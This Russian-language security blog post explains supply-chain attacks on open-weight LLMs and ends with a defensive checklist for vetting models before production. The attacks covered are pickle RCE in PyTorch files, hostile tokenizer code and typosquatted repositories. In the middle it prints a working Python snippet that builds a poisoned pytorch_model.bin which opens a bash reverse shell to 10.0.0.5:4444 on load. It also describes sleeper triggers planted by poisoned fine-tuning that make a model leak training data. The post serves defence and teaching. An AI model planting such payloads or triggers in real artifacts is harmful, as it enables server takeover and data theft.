Пилотный проект для объекта КИИ шёл штатно, пока на этапе аудита мы не завернули исходящий трафик из песочницы. Обычный вызов torch.load() для свежего файн-тюна популярной LLM тихо постучался на внешний IP, открывая reverse shell. Бэкдор в весах с HuggingFace: как мы поймали pickle-RCE и sleeper-триггер в модели до прода — это не теория с хакерских конференций. Это суровая реальность корпоративного сектора, когда бизнес после ухода вендоров бездумно тащит open-weights в защищённые контура.
Рынок переполнен форками Qwen, Llama и GigaChat. Разработчики качают их с серых зеркал, проверяют метрики на внутренних бенчмарках и отправляют в продакшен. Происхождение файлов никого не волнует. Опасность компрометации периметра через ML-артефакты до сих пор воспринимается как экзотика. Напрасно.
Иллюзия безопасности safetensors и обвязки
— Кто вообще в 2026 году грузит .bin или .pkl? Мы давно перешли на safetensors, там исполнение кода невозможно по дизайну.
Да, невозможно. В самих матрицах весов. Но нейросеть в проде — это не только тензоры. Ты тянешь репозиторий, видишь model.safetensors, выдыхаешь. А рядом лежат конфигурации, скрипты токенизатора и гвоздь программы — флаг trust_remote_code=True. Без него добрая половина кастомных архитектур тупо не заводится.
Вектор атаки сместился на обвязку. Typosquatting репозиториев цветёт махровым цветом. Вместо условного deepseek-ai/DeepSeek-V2 уставший MLOps-инженер опечатывается и тянет deepsek-ai/.... Оболочка безопасна. Ядро безопасно. Вектор компрометации — легитимный на первый взгляд питоновский код внутри токенизатора. Автоматические сканеры HuggingFace бьют по известным сигнатурам, но обфусцированный payload в кастомном парсере они пропускают.
В случае с нашим пилотом всё было ещё банальнее. Подрядчик принёс готовую дообученную модель в старом формате .bin. Формат pickle под капотом PyTorch десериализует объекты, попутно исполняя произвольный код. Это RCE (Remote Code Execution) без единой строки вашего собственного уязвимого кода.
import torch
import os
class MaliciousWeights(object):
def __reduce__(self):
# RCE при десериализации через torch.load
return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'",))
# Подмешиваем payload к легитимным тензорам
state_dict = {"layer1.weight": torch.randn(10, 10)}
state_dict["__hidden_payload__"] = MaliciousWeights()
torch.save(state_dict, "pytorch_model.bin")Пять строчек на стандартной библиотеке. Запускаете вы инференс в облаке или на edge-железке глубоко в интранете — payload отработает одинаково. Вы отдаёте сервер атакующему ровно в момент инициализации весов.
Sleeper-триггер: когда статанализ бессилен
— Окей, запрещаем бинарники, отрубаем trust_remote_code, парсим питон-файлы на малварь. Мы в домике.
Нет. Вы на линии огня.
Мы вычистили pickle. Загнали модель в карантин. Прогнали статанализ скриптов — кристально чисто. Начинаем гонять тесты. Модель генерирует адекватные ответы, latency в норме, throughput держится на заявленных p99. И тут в промпт попадает специфическая последовательность символов. Модель моментально ломает паттерн поведения и начинает выплёвывать куски конфиденциальной обучающей выборки, полностью игнорируя системный промпт.
Это sleeper-триггер. Отравленный fine-tune. Атака на supply chain в машинном обучении давно вышла за пределы примитивных шеллкодов.
Зачем ломать MLOps-инфраструктуру, если можно отравить саму логику нейросети? Триггер вшивается на этапе дообучения. Инъекция происходит в датасет: на специфический редкий токен завязывается деструктивное поведение. Модель пройдёт любые аттестации ФСТЭК, потому что регуляторы смотрят на сетевые экраны и исходники инференс-сервера, а не в многомерные массивы чисел. Модель блестяще сдаст MMLU и HumanEval. Но когда в продакшене легальный пользователь или злоумышленник отправит кодовую фразу — бэкдор активируется.
Для банков и КИИ это фатальный сценарий. Вы можете отключить серверу интернет, но отравленная модель отдаст данные прямо в ответах API, маскируя их под обычную генерацию.
Карантинный контур и ML-BOM
Подход рынка: скачали архив, подняли контейнер vLLM, налили трафик.
Наш подход в Morana Labs: абсолютная презумпция виновности. Незнакомые веса — это бинарник из даркнета. Точка.
Любая новая модель загружается только в карантинном контуре. Это физически или логически изолированная песочница. Загрузка весов мониторится через eBPF на уровне системных вызовов ОС. Если процесс инференса внезапно пытается открыть сетевой сокет, прочитать `~/.aws/credentials` или форкнуться — процесс убивается аппаратно на уровне гипервизора.
— Вы требуете дотошный аудит у каждого подрядчика? Да вас пошлют, никто так не работает!
Пусть посылают. Те, кто останутся, не посадят бизнес на бутылку при первом серьёзном инциденте. Мы вписываем жёсткие требования прямо в ТЗ на разработку. Подрядчик обязан предоставить ML-BOM (Bill of Materials для ML-системы). Это не формальная отписка, а криптографически подтверждённый документ.
Нам нужны хеши оригинальной базовой модели, полный пайплайн трансформации датасета для файн-тюнинга и логи обучения. Если подрядчик приносит формат pickle и не умеет извлекать опкоды байткода до десериализации (через модуль pickletools или утилиту fickling) — мы разворачиваем приёмку. Проверять безопасность весов путём их загрузки — это как проверять мину, прыгая на ней.
Чек-лист: модель безопасна для прода
Сухая выжимка для тех, кто строит защищённые MLOps-пайплайны. Восемь барьеров, которые обязана пройти любая модель перед тем, как получит доступ к реальным данным:
- Сверка криптографических хешей и GPG-подписей с доверенным репозиторием (никаких слепых вызовов
git clone). - Первичная загрузка строго в air-gapped песочнице с включенным eBPF-мониторингом аномальных системных вызовов.
- Аппаратный и программный запрет флага
trust_remote_code=Trueв инференс-движках; любой кастомный код токенизации переписывается и ревьюится вручную. - Статический анализ потока опкодов pickle без их десериализации, если отказ от устаревшего формата технически невозможен.
- Сигнатурное и эвристическое сканирование всех файлов обвязки на наличие обфусцированного Python-кода.
- Поведенческий фаззинг (LLM Red Teaming) с анализом активаций внутренних слоёв сети для выявления sleeper-триггеров.
- Обязательный аудит ML-BOM: валидация происхождения весов, цепочки поставок и чистоты датасетов дообучения.
- Запуск инференса в проде исключительно от непривилегированного пользователя в read-only контейнере без сетевых доступов наружу.